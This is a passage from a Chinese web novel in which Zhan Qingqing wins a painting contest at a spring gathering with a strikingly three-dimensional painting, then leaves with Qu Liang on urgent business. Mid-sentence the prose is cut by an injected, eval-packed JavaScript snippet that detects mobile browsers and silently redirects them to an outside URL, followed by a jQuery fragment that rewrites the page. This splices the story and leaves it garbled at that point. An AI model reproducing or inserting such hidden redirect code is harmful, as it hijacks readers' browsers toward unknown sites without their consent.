傅水音目的达成,顺势得体接话:“既然彩头由边大人所出,那作画主题,便也劳烦大人一并定夺。”
边笑白垂眸略一思索,淡淡出声定下规制:“恰逢春日雅集,便以春日风物为题,半柱香为限,不拘古意实景、不限章法体裁,随心落笔、随性写意即可。”
话音落定,周遭宾客纷纷应声附和。
傅水音早有预备、胸有成竹,落笔迅疾流畅。她绘一幅高山流水春日图,山石嶙峋苍劲,孤松凌云挺拔,远山含黛、春色绵延,是世人广为推崇的阳春白雪之境,笔法工整秀丽、章法严谨,看得周遭一众宾客连连点头,赞誉不绝。
轮到展清清落笔,她不循旁人仿古写山写水的俗套章法,抬眸揽尽满园春景,将眼前亭台花木、曲水回廊、满堂宾客、纷飞落英尽数收于笔下。她落笔极巧、技法诡异独特,与当世所有丹青笔法全然不同,不刻意勾勒轮廓、不固守平面留白,反倒层层叠染、明暗交错,造出极强的立体纵深感。
整幅画卷鲜活通透,画中人物眉目神态栩栩如生,衣袂光影深浅错落,不像寻常纸面画作,反倒如同真人立在方寸之间,眉眼鲜活、气韵灵动,自带层次叠生的通透质感,虚实错落间脱出寻常纸面桎梏,仿佛下一刻便要破壁而出。
更叫人瞠目的是,画卷收尾之时,展清清刻意巧留妙笔——画中最边角处一名观春宾客,她并未将其手掌、足履尽数落于画内,反而让一只手掌、半只足尖踏出画纸边界,笔墨悬空、错落叠层,硬生生造出「画中人伸手破壁、踏纸而出」的幻境。不画孤高隐逸的世外春色,只绘当下鲜活热闹的人间春宴,虚实相生、破壁灵动,是世人从未见过的作画手法,惊艳至极。
两幅画卷一并铺开比对,四下瞬时响起一片哗然惊叹,满场宾客尽数失神。世人自幼观画,皆见平面描摹、笔墨写意,从未见过这般立体鲜活、近乎逼真的丹青笔法,更从未见过「画中人物破壁而出」的奇巧布局,一时间人人屏息,满目震撼。
一位年长的丹青文士凑近细看,瞳孔骤缩,神色满是极致讶异,失声惊叹:“怪异!绝妙!这等明暗叠染、立体塑形的笔法,古今未见、无门无派!更难得这破壁留白的巧思,画中人身形欲出、虚实难辨,简直宛若真人临世,快要从画中走出来一般!老夫研习丹青半生,从未见过这般诡绝新颖的作画方式!”
周遭众人纷纷附和认同,议论声此起彼伏。
“姑娘笔法卓绝,超凡脱俗,不知师承哪位名家?”
“幼时曾随家母习得几分小众笔墨巧思,后又得陈如海先生点拨,略通丹青皮毛,不过是自成一派的细碎拙技罢了。”展清清从容淡然应答,字句浅浅带过,不张扬、不细说技法渊源。
世人皆知陈如海乃是当世顶尖的丹青泰斗,笔墨造诣冠绝一方,遍观大江南北,无人能出其右。他作画不拘古法、自成风骨,平生收徒极严,极少轻易指点后辈寻常子弟,能得他一语点拨、习得分毫技法,已是旁人求之不得的莫大机缘。
一语落地,众人方才恍然醒悟,原来是得名家亲传指点,功底自然不凡。
两幅画作高下立判、优劣悬殊。
傅水音笔下的高山流水,技法娴熟工整,却只是循古临摹、平面写意,拘泥于世俗章法,四平八稳却毫无灵气。反观展清清这幅春宴图,立体鲜活、虚实相生,光影层次极尽细腻,尤其是破壁而出的精妙巧思,让整幅画跳出纸面、灵动逼真,立意、格局、技法、新意,全方位碾压前者,是满场众人闻所未闻、见所未见的绝妙丹青。
胜负已然分明,满场宾客心知肚明,无人再存异议。边笑白目光扫过全场众人,声线清冷沉稳,当众开口问询:“此番丹青比试,高下已判,诸位可有异议?”
话音落时,全场寂然,无人出声辩驳。众人皆亲眼目睹两幅画作的天壤之别,展清清的才情笔法冠绝全场,胜出当之无愧,任凭谁也挑不出半分错处。
见无人应答,边笑白微微颔首,当众落定定论:“既无异议,今日试墨,胜者——展清清。”
言罢,他抬手取过案上那支鎏金点翠的海棠发簪,迈步上前,亲手将这支彩头稳稳递至展清清身前。
他眸底藏着几分隐秘温柔,心底隐隐生出想要亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855905|211898||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手为她簪入发间的念头。可园亭宾客满堂、众人环伺,男女授受不亲,这般亲昵举动太过逾矩,极易损毁展清清的闺中清誉、惹人非议。顾虑重重之下,他只得按捺住心底念想,恪守分寸,静待她亲手接过。
展清清抬眸,伸手从容接过那支精致发簪。指尖触到微凉鎏金,心底悄然漾开一抹浅浅暖意。
周遭议论声不止,眼看傅水音下不来台,局面愈发尴尬。人群后方,一道温润男声适时响起,从容斡旋、巧妙打圆场,“不过是闺中笔墨消遣、春日闲戏,诸位不必太过较真。”
展清清闻声转头,这才留意到沈砚之亦在宾客之中,静立人群后侧。方才场面纷乱、人声嘈杂,她一时未曾留意到他。其实她明白沈砚之的用意,不过是担心自己接连压过傅水音,害对方颜面尽失,日后难以收场。
她目光稍稍错开,尚未及出言回应、颔首致意,园亭入口处又缓步走来一人。
屈梁穿过错落宾客,快步走到她身侧,压低声音急道:“我专程去展府寻你,府中下人说你前来赴春日雅集,我便立刻寻来了。”
说着,他自袖中取出一张折叠整齐的字条,神色凝重:“事态紧急,不宜耽搁。”
“此处人多眼杂,不便细说,我们先回去。”她接下字条,未及细看,收入袖中。转身对边笑白道:“边大人,我尚有俗务缠身,便先行告辞了。”
边笑白未多言挽留,只淡淡颔首:“展四小姐自便。”
随后展清清又朝沈砚之所在的方向点头示意,算作礼貌道别。
礼数周全完毕,她与屈梁并肩转身,一同离开喧闹园亭。
雅集之内,众人久久望着二人离去的背影,私语议论不曾停歇。除却方才丹青比试的高下输赢、展清清的惊人才学,案上那支引得无数揣测的女子发簪,依旧是众人私下闲谈的核心话题,各样猜测层出不穷。
去岁琴技比拼,早已让展清清在旗烟城声名鹊起、为人称道。今日雅集,她又以绝佳丹青造诣折服满座文士闺秀,处事进退有度、不卑不亢,这一次是真正的被城中诸多世家公子记在了心里。